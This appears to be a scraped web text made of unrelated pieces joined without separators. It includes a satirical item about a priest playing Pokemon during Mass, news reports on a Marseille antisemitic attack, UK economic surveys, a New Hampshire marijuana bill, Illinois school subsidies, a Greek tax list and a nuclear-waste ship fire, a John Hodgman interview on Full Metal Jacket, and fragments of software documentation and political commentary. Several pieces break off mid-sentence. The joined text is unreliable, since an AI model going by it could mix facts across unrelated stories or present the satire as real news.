“Fr. Ross has admitted to simultaneously saying Mass while trying to catch a Kipachu or Pikachu or whatever,” one official told EOTT early this morning. “It appears as though Fr. Ross located a Pikachu on top of a parishioner’s head, which he was able to retrieve during the Entrance. During the Penitential Act, Fr. Ross made his way down the main aisle and beneath several pews where he is said to have successfully hunted down a Charmander.”
Ross told EOTT that, although he was sorry for his actions, he wished people would understand that he can do two things at one.
“Listen, I’ve been saying Mass a long time. I can say it in my sleep. In my opinion, if I’m just sitting there during the first or second readings and happen to spot a Kadabra or a Dragonite, you better bet your bottom tithing dollar that I’m gonna try and catch it.”
Ross went on to say that his motto for playing Pokemon during Mass was “Catch them all, save them all.”
“There’s absolutely no reason I can’t save souls while catching and training Pokemon to battle for sport. I do admit that at one point after Mass I kinda sorta mixed it up and told a Pikachu that he ought to trust in God more then proceeded to accidentally capture an 80-year-old usher. That was my fault, I am sorry for that. In my defense, he kinda looks like a Groudon.”This article is over 3 years old
Teacher suffers minor injuries to back and hand in what police say was an antisemitic attack outside Franco-Hebraic Institute
A teenager wielding a machete has attacked a Jewish teacher on his way to work in Marseille, injuring him slightly, in what police said was an antisemitic attack.
The 35-year-old teacher sustained wounds to his back and one hand in the incident near the Franco-Hebraic Institute on Monday.
The assailant, said to be around 15 years old, dropped the machete and fled from the scene. Police apprehended a suspect 10 minutes later.
“We know that it is a clearly antisemitic act, a serious act committed a few dozen metres” from a Jewish school, a police spokesman said.
France’s interior minister, Bernard Cazeneuve, tweeted: “Support for the victim of the revolting antisemitic aggression in Marseille.”
The attack came nearly two months after another assault, north of Marseille, in which three people shouting antisemitic phrases and expressing support for Islamic State stabbed a Jewish teacher, injuring him in the arms, legs and stomach.
Jewish schools have police guards at the start and end of each school day.LONDON (Reuters) - The chances of Britain’s economy picking up steam diminished further on Monday as surveys showed major companies have curtailed their investment plans and that consumers spent less on their credit cards.
The reports added to a string of lackluster economic data that has raised questions about the chances of the Bank of England raising interest rates this year.
Accountancy firm Deloitte said business optimism at large British companies fell sharply in the second quarter, dampened by the inconclusive outcome of last month’s national election.
Deloitte’s survey of chief financial officers showed 72 percent thought the overall business environment would be worse once Britain leaves the European Union, the largest proportion since Deloitte started asking the question a year ago.
Only 8 percent of respondents saw an improvement after Brexit.
“This underscores the importance of the Brexit negotiations producing a favorable environment for UK businesses, with access to the skills and markets they need for their future success,” said David Sproul, chief executive of Deloitte North West Europe.
The survey’s findings have proven a good predictor for the BoE’s own investment intentions survey which BoE officials watch closely as part of their monitoring of Britain’s economy.
Businesses are pressing May and her government to negotiate a smooth Brexit in two years’ time, saying an abrupt departure would deter investment.
Deloitte said investment intentions among CFOs deteriorated, probably disappointing some BoE policymakers who have been pushing for the first interest rate hike in a decade.
Rate-setter Michael Saunders said last week he was “reasonably confident” that an improvement in exports and investment would more or less offset the consumer slowdown.
A separate survey from credit card firm Visa showed consumer spending fell in June, capping the weakest quarter in nearly four years and adding to other signs that shoppers are reining in their spending due to rising inflation and weak pay growth.
Spending in the April-June period was 0.3 percent lower than in the same three months in 2016.
A view of the Canary Wharf district with the Shard building (R) is seen in London, Britain July 7, 2017. REUTERS/John Sibley
“June data provides further evidence that an increase in the cost of living, coupled with slowing wage growth, are beginning to squeeze household disposable income,” Visa managing director Kevin Jenkins said.
Survey compiler IHS Markit this year said the figures may add to calls for the BoE to keep interest rates on hold.
The strength of official data on wages, due on Wednesday, is likely to be critical for BoE policymakers as they mull whether to raise interest rates from their record low 0.25 percent.New Hampshire Committee Kills Marijuana Legalization Bill Despite a new poll showing strong public support for a bill to regulate and tax marijuana like alcohol, a New Hampshire House committee fails to recommend its passage
CONCORD, NH — The New Hampshire House of Representatives Criminal Justice and Public Safety Committee voted 11-7 against recommending the passage of House Bill 492, a bill to regulate and tax marijuana like alcohol, despite a new poll showing strong public support for the measure.
According to a new WMUR Granite State Poll released October 25 by the University of New Hampshire Survey Center, 60% of New Hampshire adults support HB 492. Just 36% said they are opposed. The poll of 603 randomly selected New Hampshire adults was conducted October 1-7 and has a margin of error of plus or minus 4%.
“Marijuana prohibition has been just as big of a failure as alcohol prohibition,” said Matt Simon, a New Hampshire-based legislative analyst for the Marijuana Policy Project. “New Hampshire voters are clearly ready for a more sensible approach. It appears some legislators are still less evolved than their constituents on this issue.”
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Support for ending marijuana prohibition in New Hampshire reflects growing public support nationwide. A Gallup poll released earlier this month found a record-high 58% of Americans now support making marijuana legal.
“Most Americans are fed up with laws that criminalize adults for using an objectively less harmful substance than alcohol,” Simon said. “It is time to regulate and tax marijuana like alcohol. Sales should benefit legitimate, taxpaying businesses instead of cartels in the underground market. Law enforcement officials’ time and resources should be spent addressing serious crimes, not arresting and prosecuting adults for using marijuana.”
Tags: marijuana legalizationOak Park's pricey homes, Frank Lloyd Wright architecture and array of shops and restaurants generate billions in property wealth, funneling a bounty of tax dollars to its elementary school district.
That kind of local affluence usually means fewer dollars from the state to help cover school bills. But Oak Park Elementary School District 97 also receives millions through a little-known state subsidy aimed at fattening its budget.
Oak Park was among those on the receiving end as Illinois quietly doled out some $6 billion since 2000 to boost state aid for select school districts — many in the Chicago region — that couldn't get more money from property owners because of laws that limit tax collections, the Tribune has learned.
Rolled into the usual state aid sent to districts, the subsidies are all but hidden and have been skyrocketing, starting at $46 million and increasing more than 1,000 percent in the years since lawmakers approved them, state data show. At its peak in 2008, the program cost taxpayers $805 million, with the majority of school districts not getting a penny.
"It is ridiculous," said State Superintendent Christopher Koch. "We can't afford it; it doesn't make sense, and it's not fair to everyone else."
Koch and other critics say the subsidies drain the main pot of state aid that is supposed to be distributed equitably across Illinois.
That state-aid money, more than $4 billion annually in the last several years, has been shrinking amid the state's fiscal crisis. And the subsidies have prompted renewed attention from lawmakers grappling with more potential cuts in education aid.
This school year, the subsidies add up to $502 million for 292 districts, about a third of the state's districts, according to data provided by the Illinois State Board of Education.
The payments often are referred to as "adjustments" to a district's state aid.
To be eligible, school districts have to operate under the state's tax cap laws designed to help control local property tax increases. Of the state's 862 districts, 460 fall under the laws. But not all of them get the subsidies — it all depends on the rise and fall of local property values and a complex state formula that essentially pretends a district is less wealthy than it really is.
That's important because property wealth is key to determining how much state aid districts get. Typically, the less local wealth, the more state dollars per student a district receives.
Chicago Public Schools — the state's most property-rich district, even though most of its students are low-income — gets the biggest subsidy this year, about $283.5 million. To make that happen, the state shaved $36 billion from CPS' property wealth, records show.
Without the adjustment, basic state aid for CPS would have been about $130 million instead of $413.3 million.
Cook County districts as a whole get most of the subsidy money, including districts in more affluent communities such as Wilmette, Evanston, Glenview, Schaumburg and Park Ridge.
Many less financially well-off districts in Cook's south and west suburbs also benefit.
Districts in Will, Kane, Lake, McHenry, Kankakee and DuPage counties get the next highest amounts, according to data examined by the Tribune.
'Relief for the wealthiest'
Local school officials say the subsidies have been a lifeline as districts coped with budget challenges during a tough economy.
Oak Park 97 got the fifth-highest subsidy in the state this year — calculated at $7 million.
"That $7 million is a huge percentage of our budget," said Robert Spatz, vice president of the school board, which oversees a budget of nearly $70 million. "Seven million is 100 staff members."
Without the subsidy, Oak Park's basic state aid would have been $1.8 million instead of nearly $9 million.
CPS officials, facing a $1 billion deficit next year, defend the subsidies as a way to help districts that lose out on local revenues because of tax caps, as well as potential state aid because of the way Illinois distributes tax dollars to schools.
But Tom Johnson, president emeritus of the Taxpayers' Federation of Illinois, calls the subsidy program "property tax relief for the wealthiest districts," specifically "those districts that have grown in wealth dramatically."
The subsidies, he said, depart from the original purpose of state aid — to help equalize school spending, whether a district is property rich or poor.
Johnson served as chairman of the Taxpayer Action Board created in 2009 by Gov. Pat Quinn to examine spending and fiscal reforms. The group encouraged a broad school funding review as well as capping — but not eliminating — the subsidies, given the political challenges.
"Any piecemeal change... would create immediate winners and losers and impede a proper resolution," the group's report stated.
CPS would lose the most if the subsidies were eliminated, so resistance from Chicago lawmakers would be expected.
And now that school districts are dependent on the subsidies, it would be hard for the General Assembly to take them away, said Jeff Mays, a former state lawmaker and president of the nonprofit Illinois Business Roundtable.
Mays is a board member for Quincy Public School District 172 in western Adams County, which isn't under tax caps and doesn't get subsidies.
"That takes money away from us,'' Mays said.
Shrinking resources
The subsidy formula dates to legislation in the late 1990s, said Rob Grossi, treasurer of the Bloom Township Trustees of Schools, who worked on the original formula.
At the time, districts were realizing the impact of the new tax cap law, called the Property Tax Extension Limitation Law, or PTELL.
The tax-cap law emerged in the early to mid-1990s |
this date episode - process only feed items with episode number greater or equal then this number (S01E02 == 102)
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Files
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User profile and settings
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Misc.
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Metasearch engine
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API objectsThe moviegoer: Author, actor, and humorist John Hodgman. Perhaps best known as the “PC” in the “Get A Mac” Apple ads and the “resident expert” on The Daily Show, Hodgman recently completed a three-part almanac of “complete world knowledge” (The Areas Of My Expertise, More Information Than You Require, and That Is All). He’s also the host of the Maximum Fun podcast Judge John Hodgman. His apocalypse-themed stage show, John Hodgman: Ragnarok, was released as a Netflix Original on June 20.
The movie: Full Metal Jacket. Stanley Kubrick’s provocative 1987 Vietnam drama follows Private J.T. Davis (re-dubbed Private Joker), played by Matthew Modine, as he goes through boot camp with the Marines and resurfaces in Vietnam as a war correspondent for Stars And Stripes. The film has two distinct parts: the first set on Parris Island, South Carolina, where Private Joker and other recruits, including Vincent D’Onofrio’s troubled Private Leonard Lawrence (a.k.a. “Private Pyle”), suffer the abuses of R. Lee Ermey’s Gunnery Sergeant Hartman; the second in Vietnam, near Hué, during the Tet Offensive.
The Dissolve: Was this your first time watching the movie?
John Hodgman: No. I saw Full Metal Jacket when it came out, like all film-nerdy teenagers did in the ’80s. But I had recently been in L.A. and I knew the Kubrick Exhibit was closing at the Los Angeles County Museum of Art. It was a big exhibit that was basically all over Instagram for six months because it displayed a lot of original props and costumes, as well as some really interesting correspondence and other documents relating to Kubrick’s life’s work. So for the past six months, everyone in Los Angeles has been posting the same photograph of the dresses of the creepy twins from The Shining. [Pause.] Including me. Well, I didn’t end up Instagraming it, but I was very tempted to.
So I went to that exhibit on my birthday, by coincidence, because I happened to be in town, and I was like, “I’ve got to see this thing before I go, because I will not be back before it closes.” It was really, really fascinating, and very moving for me to walk through amidst all the Kubrickiana, because I am a fan, of course. But it is hard to be an ardent fan of work that seems so clinical at times. It was easier to be an appreciator than to be ardently in love with the work of Kubrick, to some degree. And he had such a reputation for being so prickly and weird and controlling, but what you saw when you would read his correspondence is that, first of all, oh yeah, people used to type things.
There was also the technical aspect, because they did have his entire collection of lenses, which was fascinating to the person I was walking through the exhibit with, who works in movies and was really interested in it. “Yeah, here’s the thing: Not many directors own all of their equipment this way.” But he had an array of tools, of lenses, that he used to get very specific kinds of shots, sometimes lenses he had taken from other uses, that were not used for film cameras, but were used for low-light photography, that he adapted to film use so he could get images in Barry Lyndon that were lit entirely and actually by candlelight.
But also, you’ve got this whole array of now-anachronistic ephemera that used to surround moviemaking. Telegrams congratulating Stanley Kubrick on a good job, or informing him of a boycott of Lolita. Lots of letters from religious people and self-proclaimed patriotic people complaining to him about Lolita and Dr. Strangelove—letters he obviously kept and treasured in his own way. But also letters back that he wrote to people. What you gleaned was that he was not entirely a cold, calculating monster, but was a normal person, and indeed his retreats to England and his refusal to fly and his claims that he was afraid to fly seem to have been a myth that he started around himself so people wouldn’t bother him. And by people, I mean people at studios, basically.
Here were all of the movies, the great Kubrick movies that he made and then also some of the other ones. [Laughs.] Which, look, I never saw Eyes Wide Shut, and I should. Between you and me, there’s certain people who when they appear in movies, I just can’t go to see those movies. I’ll leave it to the world to interpret who I could possibly be talking about. [Laughs.]
So I strolled through the small passageway they dedicated to A.I., appropriately. Because there’s not much to show. Nor did I want to give that movie any more consideration than I already did sitting through it. Now, arguments can definitely be made that A.I. is a beautiful, amazing movie, and part of me doesn’t doubt that that’s true. Phil Morrison, director of Junebug and the Apple ads, who became a friend of mine for that reason, loves that movie. But I found it very hard to take. Not because it was bad, it was very affecting, and it was just something I did not enjoy sitting through emotionally. But there you go.
And then there was Full Metal Jacket, which, it was almost this moment of, “Oh, right. There was this movie.” I don’t know why I had almost forgotten Full Metal Jacket existed. I was 16 at the time, and even then, I knew enough about Kubrick to really appreciate his work. I’d seen all the major works at that point, and even at 16, I was attuned to the fact that a lot of people thought it was a lesser work. What was interesting was that Kubrick’s daughter [Vivian] shot tons of behind-the-scenes footage for a documentary that I’m not sure ever was released, but they clearly had some of the footage there, because they were running it on a loop. And they were running on a loop the behind-the-scenes moment where Vincent D’Onofrio, spoiler alert, shoots R. Lee Ermey in the chest, and then Matthew Modine confronts him and says, “Put the gun down, Leonard.” And it was really interesting to see Kubrick work, because I had not seen a lot of behind-the-scenes footage. What I had seen was the famous footage of him basically terrorizing Shelley Duvall in The Shining.
It was profoundly normalizing to me to see him just giving Matthew Modine run-of-the-mill direction. I became interested again in Full Metal Jacket, having not given it much thought. I liked it when I saw it. I didn’t understand why people had a problem with it, so I said, “I’ve got to see this movie again.” That afternoon, I left the museum and flew from Los Angeles to Toronto to film five back-to-back episodes of Canadian Match Game as a quote-unquote celebrity panelist. I was flying Air Canada, and would not you know it, of the many On-Demand movies Air Canada offers its customers, one is Dr. Strangelove and the other is Full Metal Jacket. So I weirdly had this Stanley Kubrick double feature flying to Toronto, watching these movies on a 5-inch screen, the way they were meant to be seen.
But even though they were on a 5-inch screen, they were still profoundly mesmerizing. I think there is no other word I would ever use to describe a Stanley Kubrick film but mesmerizing. They are hypnotic. Hypnotically beautiful, and considered, and paced in such a dream-logic style that you are experiencing something cinematically that I don’t think anyone else really quite captures. One of the things I learned about Kubrick in that exhibit was his conviction that cinema is not about story, per se, but about creating an almost orchestral mood. He compared it to music. That it provoked emotion on a number of different conscious and unconscious levels, and that story is only one of the instruments you are playing with in order to create a mood. That is true of his movies. They cloak you in a mood.
It struck me just how much of Full Metal Jacket I knew. Knew cold. Like the back of my hand. Having only seen it twice or maybe three times in my life and certainly not for 15 or 20 years. I’m old. And how many of the lines I knew, how many of the shots I remembered, how I knew what was going to happen next, how I could not not know what was going to happen next, because every bit of it felt so inevitable. I was also struck by just how deeply this movie had ingrained itself into “bro” culture. All of these lines that frat dudes say to each other, “What is your major malfunction?” or your willingness to fuck a guy in the ass and not have the common courtesy to give him a reach-around—all this stuff that came out of R. Lee Ermey’s mouth that had suffused culture. I realized this movie is profoundly influential, culturally, in an almost invisible way. All of that macho basic-training stuff really got to a generation of “dudes.” I think it affected the language centers of their brain forever.
So as the movie went on, I was also struck by just how great it was. What was everyone’s problem? [Laughs.] It was a great movie. There is, as far as I’m concerned, not one wrong note. I was talking about it with a couple of people after this experience of watching it on the airplane, and the same thing kept coming up: “Yeah, I didn’t like that one,” or, “That one wasn’t so hot,” and it was the same received-wisdom criticism which was, [haughty voice] “Yeah, well, the first half was great and the second half was not great.” And people were profoundly disturbed that the movie was kind of cut in two, between basic training and action, and then the second big criticism was, [haughty voice] “It was a Vietnam movie, but where was the jungle?” What a profoundly ignorant criticism to make. Like, “This does not conform…” There was a city of Hué. You know what I mean? There are cities in Vietnam. But for some reason, I remember hearing the criticism at the time that the movie did not conform to what had already been calcified as the popular imagination of what a Vietnam movie should be, which disqualified it for a lot of people. This idea that it was a flawed movie, that the first half was good and the second half was bad because it wasn’t in a jungle, is calcified in popular imagination, but it’s not true. There’s not a scene in it that isn’t totally essential and paid off. There isn’t a scene that isn’t set up by something in the first half. Matthew Modine’s transformation into someone who can kill after he’s avoided it for so long is set up from the very first scene, the very first moment R. Lee Ermey is yelling at him. It’s an incredible achievement, I think.
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The Dissolve: The two halves contrast, but also echo each other. There’s that really chilling scene in the first half when Modine’s character, who had taken D’Onofrio’s character under his wing, starts whaling on him. That potential comes through again at the very end with the sniper, where he’s showing his kill face. The two halves are a complete vision.
Hodgman: Yeah. And do you understand what I mean with Full Metal Jacket infecting bro culture? Because all that camaraderie and toughness… Platoon didn’t put that into our popular culture. Full Metal Jacket did. There was something so intense about watching that basic-training scene, and I think it spoke to a generation of dudes who would never, ever, ever, ever go into the military, but found that kind of punishment-and-reward system, and the camaraderie it builds, viscerally attractive. And I think one of the reasons people rejected the second half of the movie is that it’s not fun the way basic training is fun, because there are human stakes. It is fun to listen to that guy yell curse words at dudes. It’s such an iconic performance that I had forgotten R. Lee Ermey wasn’t even supposed to be in the movie. He was the technical advisor. And the actor they had hired wasn’t cutting it. The control of [Ermey’s] body and his voice… That guy obviously had trained for one acting role his entire life. He had more mastery over his body and voice and inflection than most actors ever dream of getting. It was honed to that single purpose, and that’s what made it so powerful.
The Dissolve: He had the actual life experience. Supposedly much of his dialogue was improvised, which was very unusual for a Kubrick production. Have you seen Room 237?
Hodgman: I have. I watched it also just recently, because I saw the exhibit and I love The Shining so much, in part because it is intrinsically a great movie, and in part because Stephen King wanted to remake it. I love Stephen King. He’s an inspiration to me. And one of the things that’s an inspiration to me is that when everyone in the world says, “The Stand is a great book. We love it. Thank you,” Stephen King says, “Yeah, but I had to cut out 400 pages. I’m going to put them back in.” He is an auteur as much as Kubrick is, and an eccentric one. For someone to look at [Kubrick’s] The Shining and say, “This is not good. I have to remake it as a TV movie with Steven Weber and Rebecca De Mornay,” there’s something so beautifully blind-spotted about that. And also self-directed and sure. “Stephen King, you do it. If anyone has the right to, it’s you.”
But The Shining speaks to what makes Kubrick such an interesting and, for a lot of people, troublesome filmmaker, because he does not give you what you want. At all. He does not give you a Vietnam movie set in the jungle, and he does not give you a horror movie that is just like Stephen King’s The Shining. He doesn’t even give you scares for a long time, [just] ominous foreboding. And it takes people a while to figure out, “Oh, maybe I don’t know what I want. Maybe this is better.”
The Dissolve: That accounts for the problem he had later in his career. His last four movies weren’t terribly well-received critically, and they were later embraced for that reason. That first reaction is always the wrong reaction to Barry Lyndon, to The Shining, to Full Metal Jacket, and to Eyes Wide Shut.
Hodgman: I don’t know that any of his movies [were well-received]. Lolita was controversial. Spartacus was his first big gig, but that was Kirk Douglas’ movie, really. Lolita was really where he started to break out as Stanley Kubrick.
The Dissolve: What about The Killing and Paths Of Glory, though?
Hodgman: You’re absolutely right. In any case, I feel like the auteur period, personally, kicks off with Lolita into Dr. Strangelove, and then into 2001 and everything else. But his movies, when were they ever well-received initially? People completely hated Dr. Strangelove. It was controversial—for its darkness, for its portrayal of the American military as a bunch of idiots. Which, by the way, there is tons to love in that movie, but… [screenwriter] Terry Southern is brilliant, but the kind of Mad Magazine spoofery of a number of those characters did not hold up for me when I re-watched it on Air Canada, I’ve gotta say.
The Dissolve: Jack D. Ripper? That sort of thing didn’t play?
Hodgman: Yeah. [Laughs.] Merkin Muffley. [Laughs.] That felt a little dated to me. The movie didn’t. The movie is absolutely captivating to look at and it speaks to what makes his movies so interesting. What is being said onscreen and the story that is playing out and the characters who are interacting—that’s a 10th of what you’re supposed to be taking in in a Kubrick movie. A lot of what you’re taking in in a Kubrick movie, you’re taking in on an unconscious, dreamlike level. So it is sort of like you wake up from a dream and you go, “Eh, that was a pretty good dream,” but you don’t realize how profoundly it affected or changed you for a while later. I think even Stephen King has kind of come around on The Shining. But you were asking about Room 237, which obviously is its own kind of fever dream.
The Dissolve: Thinking about R. Lee Ermey’s dialogue being partly improvised in Full Metal Jacket brought me back to the assumption shared by the people theorizing about The Shining in Room 237—that no detail, however small and seemingly inconsequential, is out of place in a Stanley Kubrick movie. But weirdly, watching Room 237 made me believe completely the opposite, that even somebody who has that much control over his movies does not control everything. There’s meaning in his films that is not necessarily programmed.
Hodgman: And here’s the thing: Did Stanley Kubrick have a true vision for how he wanted everything to look and feel in his movie? Yeah. He tried to control a lot, and that created a myth that somehow he could control everything. The motion of the sun in exterior shots was something Stanley Kubrick set up to reveal he actually shot the fake moon landing, or something. No. As controlling as he might be, one of the things about that exhibit is that it was humanizing. People who think Stanley Kubrick arranged Calumet baking powder at a certain angle behind Scatman Crothers’ head as a secret nod to genocide—those are people that have never been on a movie set in their lives. Because the reality is that it’s all improvisation, to some degree. Every best-laid plan is subject to the whims of the space, even if you have built a hotel inside Pinewood Studios.
Even if you are meticulously constructing a hotel set within a studio, you are still subject to what people had for lunch that day. Who’s in a good mood. Who’s in a bad mood. It’s a massive crew of people putting this together, not the least of which are the actors, and even if you don’t let them improvise, they’re still acting. If Stanley Kubrick was as controlling as people imagine he was, when I saw him directing Matthew Modine, he would have been giving Matthew Modine direct line-reads, and then the movie would be terrible. Ultimately, I found Room 237 to be a fun movie, and honestly, kind of a work of beauty in the editing and the way they juxtaposed the voices and the clips from the movie, and the way they told stories using a collage of actual footage from The Shining. I thought that was really interesting and great. But ultimately, I agreed with a lot of people that there was not a single conspiracy theory that after a while felt plausible at all. And that’s what makes the conspiracy theory interesting, when, “Oh, maybe you’re on to something.” And then I think all those people were on to nothing. But maybe I’m just a shill for the U.S. government for the fake moon landing. [Laughs.]
The Dissolve: To get back to Full Metal Jacket, we talked a little bit about the way Vietnam looks, and the people who complained about it. “Where’s the jungle?” To what extent would you consider Full Metal Jacket a movie about Vietnam, and to what extent is it more about other things, about war or masculinity or anything else?
Hodgman: Well, that’s the thing. Platoon is about Vietnam. It is about Oliver Stone’s thoughts and feelings and memories and anger about Vietnam, but it’s about Vietnam. That experience. And that’s why not a lot of people think about or talk about or watch Platoon. Full Metal Jacket has the setting of Vietnam, but Stanley Kubrick’s movies resist aboutness. Right? Because you can bro out to it with your frat buddies and totally dig Adam Baldwin being a monster who becomes this weird, sobbing, gentle giant going after his friend and leading them all into danger. Or you can look at it and appreciate that it is about how men express love for each other, and how at a certain level, things in that culture can only be expressed through horrible violence. And it’s obviously about war, but not necessarily the Vietnam war. And it’s about trauma and how you endure trauma. But it ultimately comes down to Matthew Modine being called out for wearing a peace symbol and having “Born To Kill” on his helmet. There’s this wonderful moment of “no more subtext” when the colonel or whatever says, “Why are you doing that?” and he says, “I think I’m trying to make a statement about the duality of man, sir.”
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What’s interesting to me—and I think what is so off-putting for so many people—about that movie is the unknowability of Joker. You don’t know who he is. The moment you first see all those characters is the moment their heads are being shaved and they’re being stripped of whatever their old identities were and made to look completely interchangeable, because that is part of the indoctrination into the military. So the hints about what Joker’s past might have been are unknown, other than when we later learn he wrote for his high-school newspaper.
Then he’s flashed immediately with this identity of “Private Joker,” and he’s kind of the court jester. He’s the guy who’s able to watch and speak the truth through joking. But other than that, you don’t know who this guy is. And by the second half, he’s kind of an asshole, and you’re not really sure if that’s because he’s naturally an asshole, or he’s been turned into one. He is the duality, because his initial kindness toward Leonard turns into hitting him with a bar of soap.
The thing that is so striking about that movie that I had never thought of before is Matthew Modine’s voice. It’s so weird. It’s so robotic. And the pacing of the way he delivers his lines is so unusual, not natural-sounding. How did that happen? That’s something I would really like to know. Was that a choice he made? Did he make that choice by default, because that’s how he talks? Did Kubrick steer him in that direction? The totally flat affect of his voice through most of that movie and the kind of guileless deadpan he gives on all the action that surrounds him is, I think, one of the things that makes the movie so unsettling, one of the things that makes his final engagement with the world around him in that mercy killing, if you want to call it that, or that execution, if you want to call it that, so powerful at the end. It’s that kind of ambiguity that makes Full Metal Jacket a better movie than Platoon, and a better movie than any of the other Vietnam movies that came out at that time. Because it’s a work of art, not a polemic.
Go back and listen to Matthew Modine again. It’s a really confusing performance in a lot of ways. And upsetting. To what degree it was deliberate, and to what degree it just happened… It may be as critical to the artistic voice of that movie as R. Lee Ermey’s much more bombastic improvisation.
The Dissolve: Is this something you picked up on immediately as soon as he raises his voice in basic training, or is it something you feel develops as the film goes along?
Hodgman: I think it started to hit me when he was narrating, because he has that first-person narration. And in the movie, he is a writer, so I think that’s where I first clued in on it, because he doesn’t talk a whole heck of a lot in basic training. Of course, in basic training, everyone is supposed to sound exactly the same, and robotic. Certainly by the time he’s in country, as it were, it starts to really be, “Oh, this guy has a weird way of talking.”
The Dissolve: The “Born To Kill”/peace-symbol thing seems like an ironic joke that ends up revealing who he is and what he finds out about himself. Because those things occupy the same shot, the helmet and the button, when you get to that mercy killing at the end, that’s a very bitter-feeling irony.
Hodgman: And in that gesture of killing the sniper, it is both “Born To Kill” and “peace” embodied in that gesture, which is a gesture of rage and of anger equally tempered by confusion. And when she gives him permission to kill her, it becomes an act of mercy, and he’s able to pull the trigger. I’m not saying he should be lauded for the decision, but the movie’s about war putting children into positions where they have to make horrible, horrible decisions.
So I don’t know. I liked the movie Full Metal Jacket. I think that’s my topic sentence.Politicians in Greece are calling for the country's former finance minister to be investigated for allegedly removing the names of three of his relatives from a list of suspected tax evaders.
George Papaconstantinou, the minister who helped design the country's first austerity measures, was quickly kicked out of his socialist Pasok party after his family members were found missing from a list of Greeks with Swiss bank accounts that authorities were using to investigate possible tax evasion.
In a statement announcing his ejection on Saturday, Pasok said there were "clear indications" that names of family members had been deleted from the list.
"Obviously, Mr Papaconstantinou no longer belongs to PASOK,'' it said, adding that "there is an obvious and huge issue of responsibility of Mr George Papaconstantinou".
A court official said two of Papaconstantinou's cousins and their husbands, of whom three had been on the list, were involved in two accounts in a Swiss HSBC bank branch.
Denial of allegations
One of the accounts was closed, while the other contains $1.2m, said the official, who spoke on condition of anonymity because he was not authorised to give details of the case publicly.
Papaconstantinou "categorically" denied altering the list, which had been given to him in 2010 personally by France's finance minister at the time, Christine Lagarde, the current head of the International Monetary Fund.
Papaconstantinou also denied knowing which family members had appeared on the list.
Greek prosecutors provoked an outcry by pursuing a journalist who had printed names supposedly on the list, which was originally leaked by an employee of HSBC before being passed to Greece by Lagarde.
Authorities have claimed the list was illegally obtained and thus could not be used in the battle against tax evasion, a chronic problem in the heavily debted and recession-hit country.Calls have been made for a safety review after a blaze on a cargo ship carrying radioactive waste forced the evacuation of a North Sea oil platform.
The Danish ship, MV Parida, suffered a fire in one of its funnels and the crew shut down the engines as they tried to carry out repairs.
It began drifting in the Moray Firth towards the Beatrice oil platform, operated by Ithaca Energy, which was shut down and evacuated as a precaution overnight.
The boat, which had 15 people on board, was transporting six cemented drums of radioactive nuclear waste from Scrabster to Antwerp in Belgium.
Scotland's Environment Secretary Richard Lochhead said he would be urging the UK Government to carry out an investigation and safety review following the incident.
He is set to contact Baroness Verma, who has responsibility for the UK nuclear regulatory body, to discuss whether a vessel with such a cargo should have set sail when the weather conditions were bad.
He will also call for Westminster to devolve powers over the transportation of nuclear waste on Scottish land and sea to Holyrood.
Mr Lochhead said: "The Parida is now anchored about one mile from the Cromarty Firth, and the appropriate UK regulators will decide when it is safe for the vessel and its cargo to move.
"However, given the circumstances of this incident I will be seeking assurance from the UK Government that a suitable towing vessel will be in the vicinity of the vessel as it makes its way out of Scottish waters.
"I will also be asking the UK Government for an investigation to be carried out to examine what caused this incident, and why we have a situation that vessels that are carrying nuclear waste in our waters are waiting for weather windows at this time of year, especially given the impact that the weather could have on any rescue operation."
He went on: "Presently, the Scottish Government does not have control over the transportation of radioactive waste or what happens with ships in incidents like this that occur in Scottish waters - all we can currently do is monitor the situation. I will be raising this issue with Baroness Verma to ask expressly that the relevant powers are devolved to the Scottish Parliament."
The Parida was transporting Belgian waste back to Belgium after collecting it from Dounreay nuclear plant in Caithness where it had been reprocessed.
Dounreay Site Restoration Limited (DSRL) said it is the lowest form of waste and had been cemented in six 500 litre drums.
Shetland Coastguard was alerted to the incident, around 20 miles south east of Wick, at around 8pm last night.
The coastguard tasked their emergency towing vessel from Orkney to go to the scene, but the Parida's operators arranged for a commercial tow by the Pacific Champion.
As a precautionary measure, around 52 people were later lifted off the Beatrice platform by rescue helicopter 137 from RAF Lossiemouth and coastguard helicopter 102 from Sumburgh.
There were no reports of any injuries. Radiation monitoring has been carried out on the vessel and there is not thought to be any risk to the public or the environment.
Mr Lochhead said: "We have to ensure that we are taking absolutely every single precaution that comes with the transportation of nuclear waste.
"In this case, risk to the public and environment has been avoided, which is very reassuring to hear and I would like to extend my gratitude to everyone who was involved in the rescue operation."
Lang Banks, director of WWF Scotland, said: "This incident highlights the problems of dealing with the hazardous and expensive radioactive mess that the nuclear industry always leaves in its wake.
"Given all the severe weather warnings, questions need asked as to why a vessel carrying radioactive material was at sea at all."
The ship has now been brought into a port to allow repairs to be carried out.
A statement issued via Police Scotland said: "The multi-agency partners working together on the MV Parida maritime incident can confirm the vessel has been brought alongside a secure pier within the Port of Cromarty Firth site tonight. This is to allow repair work to be completed.
"There are no public safety concerns with the vessel or its cargo. The integrity of the vessel and the cargo has not been affected by the maritime incident.
"The vessel will remain alongside the pier with appropriate security measures until the repair work is completed. Once a final inspection has taken place, a decision will be made on when the vessel can resume its journey."In the cease-fire struck between Israel and Hamas in the Gaza Strip, Secretary of State Hillary Clinton got second billing to Egyptian President Mohamed Morsi's role as the prime go-between, and rightly so. But her highly visible hand-holding on both sides did nothing to quiet chatter about her political strength at home as a potential presidential candidate in 2016.
Her visits to Tel Aviv for a talk with Israeli Prime Minister Benjamin Netanyahu and to Ramallah to confer with Palestinian Authority President Mahmoud Abbas underscored President Obama's confidence in her in sending her from Burma, where she had been accompanying him, directly to the Middle East to try to put out the fire.
As Mrs. Clinton nears her promised resignation from State at the end of the first Obama term, and absent any Sherman-like statement that she will not run for president again, she'll be leaving the administration at a peak of her popularity and general respect at home.
She has handled her arc of departure with skill and grace, sticking to her heavy diplomatic workload and global travel schedule without domestic political distraction through the 2012 presidential campaign. During that campaign, she correctly brushed off the uninformed chatter that Mr. Obama might somehow get Vice President Joe Biden to switch jobs with her.
For both personal and political reasons, Ms. Clinton will be well served as she contemplates her return to private life to step out of the political arena for the immediate future. Whatever role she decides to play between now and 2016, it is likely to reinforce a commitment to public service in some manner, keeping her visible without the intensity accorded an open |
seems like a somewhat suitable fit.
“If you asked me to paint one enduring image of America, it would be a dude in a muscle vest smoking a cigar while driving a Mustang full of babes over a row of motorcycles and into a canyon,” said the Vice UK writer. Tell me you can’t see Trump’s face on just such a dude.
